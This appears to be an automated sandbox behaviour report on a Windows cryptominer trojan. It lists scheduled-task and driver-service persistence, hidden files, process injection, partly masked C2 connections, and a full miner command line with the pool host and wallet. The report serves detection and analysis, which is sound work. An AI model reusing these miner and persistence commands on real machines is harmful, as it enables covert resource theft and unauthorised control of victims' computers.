Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\windows security
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\WinRing0_1_2_0] 'ImagePath' = '%APPDATA%\Microsoft\Security\WinRing0x64.sys'
Creates the following services
- 'WinRing0_1_2_0' %APPDATA%\Microsoft\Security\WinRing0x64.sys
Malicious functions
Executes the following
- '<SYSTEM32>\taskkill.exe' /F /PID 1688
Injects code into
the following user processes:
- c.exe
Modifies file system
Creates the following files
- %APPDATA%\microsoft\security\windows security.exe
- %TEMP%\tmp4430.vbs
- nul
- %APPDATA%\microsoft\security\c.exe
Sets the 'hidden' attribute to the following files
- %APPDATA%\microsoft\security\windows security.exe
- %APPDATA%\microsoft\security\c.exe
Deletes the following files
- %TEMP%\tmp4430.vbs
Deletes itself.
Network activity
Connects to
- '19#.#33.48.87':27941
- 'po##.#ashvault.pro':80
TCP
HTTP GET requests
- http://19#.##3.48.87:27941/c/ via 19#.#33.48.87
HTTP POST requests
- http://19#.##3.48.87:27941/ via 19#.#33.48.87
Other
- 'po##.#ashvault.pro':80
UDP
- DNS ASK po##.#ashvault.pro
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: ''
- ClassName: 'SHELLDLL_DefView' WindowName: ''
- ClassName: 'SysListView32' WindowName: 'FolderView'
Creates and executes the following
- '%APPDATA%\microsoft\security\windows security.exe'
- '<SYSTEM32>\cscript.exe' //nologo %TEMP%\tmp4430.vbs
- '%APPDATA%\microsoft\security\c.exe' --url pool.hashvault.pro:80 --user 449wCDeqfBJETjpsfMtuMCVoTdTJjaYHETNfEaKs8o4LcAFdmiCVfMEDpss5vLEEbm1m77tJm2cR47UrMFE7ukTD34gZZTx --pass aurotwo --donate-level 1 --tls --tls-fingerprint 420c78...
- '<SYSTEM32>\cmd.exe' /c "%APPDATA%\Microsoft\Security\Windows Security.exe"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c @echo off & echo const TriggerTypeLogon=9 : const ActionTypeExecutable=0 : const TASK_LOGON_INTERACTIVE_TOKEN=3 : const createOrUpdateTask=6 : Set service=CreateObject("Schedule.Service") : ...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /F /PID 1688 & powershell -command "$ErrorActionPreference= 'silentlycontinue'; (Get-WmiObject Win32_Process | Where-Object { $_.Path.StartsWith('<Full path to file>') }).Terminate(...' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /c "%APPDATA%\Microsoft\Security\Windows Security.exe"
- '<SYSTEM32>\cmd.exe' /c @echo off & echo const TriggerTypeLogon=9 : const ActionTypeExecutable=0 : const TASK_LOGON_INTERACTIVE_TOKEN=3 : const createOrUpdateTask=6 : Set service=CreateObject("Schedule.Service") : ...
- '<SYSTEM32>\cmd.exe' /c taskkill /F /PID 1688 & powershell -command "$ErrorActionPreference= 'silentlycontinue'; (Get-WmiObject Win32_Process | Where-Object { $_.Path.StartsWith('<Full path to file>') }).Terminate(...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "$ErrorActionPreference= 'silentlycontinue'; (Get-WmiObject Win32_Process | Where-Object { $_.Path.StartsWith('<Full path to file>') }).Terminate()"
- '<SYSTEM32>\cmd.exe' /c powershell -command "$driverDesc = (Get-ItemProperty -Path \"HKLM:\\SYSTEM\\ControlSet001\\Control\\Class\\{4d36e968-e325-11ce-bfc1-08002be10318}\\0*\" -Name HardwareInformation.DriverDesc -...
- '<SYSTEM32>\timeout.exe' 3
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "$driverDesc = (Get-ItemProperty -Path \"HKLM:\\SYSTEM\\ControlSet001\\Control\\Class\\{4d36e968-e325-11ce-bfc1-08002be10318}\\0*\" -Name HardwareInformation.DriverDesc -ErrorAction Si...
- '<SYSTEM32>\cmd.exe' /c powershell -command "$qwMemorySize = (Get-ItemProperty -Path \"HKLM:\\SYSTEM\\ControlSet001\\Control\\Class\\{4d36e968-e325-11ce-bfc1-08002be10318}\\0*\" -Name HardwareInformation.qwMemorySi...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "$qwMemorySize = (Get-ItemProperty -Path \"HKLM:\\SYSTEM\\ControlSet001\\Control\\Class\\{4d36e968-e325-11ce-bfc1-08002be10318}\\0*\" -Name HardwareInformation.qwMemorySize -ErrorActio...
- '<SYSTEM32>\cmd.exe' /c "%APPDATA%\Microsoft\Security\c.exe" --url pool.hashvault.pro:80 --user 449wCDeqfBJETjpsfMtuMCVoTdTJjaYHETNfEaKs8o4LcAFdmiCVfMEDpss5vLEEbm1m77tJm2cR47UrMFE7ukTD34gZZTx --pass aurotwo --donat...
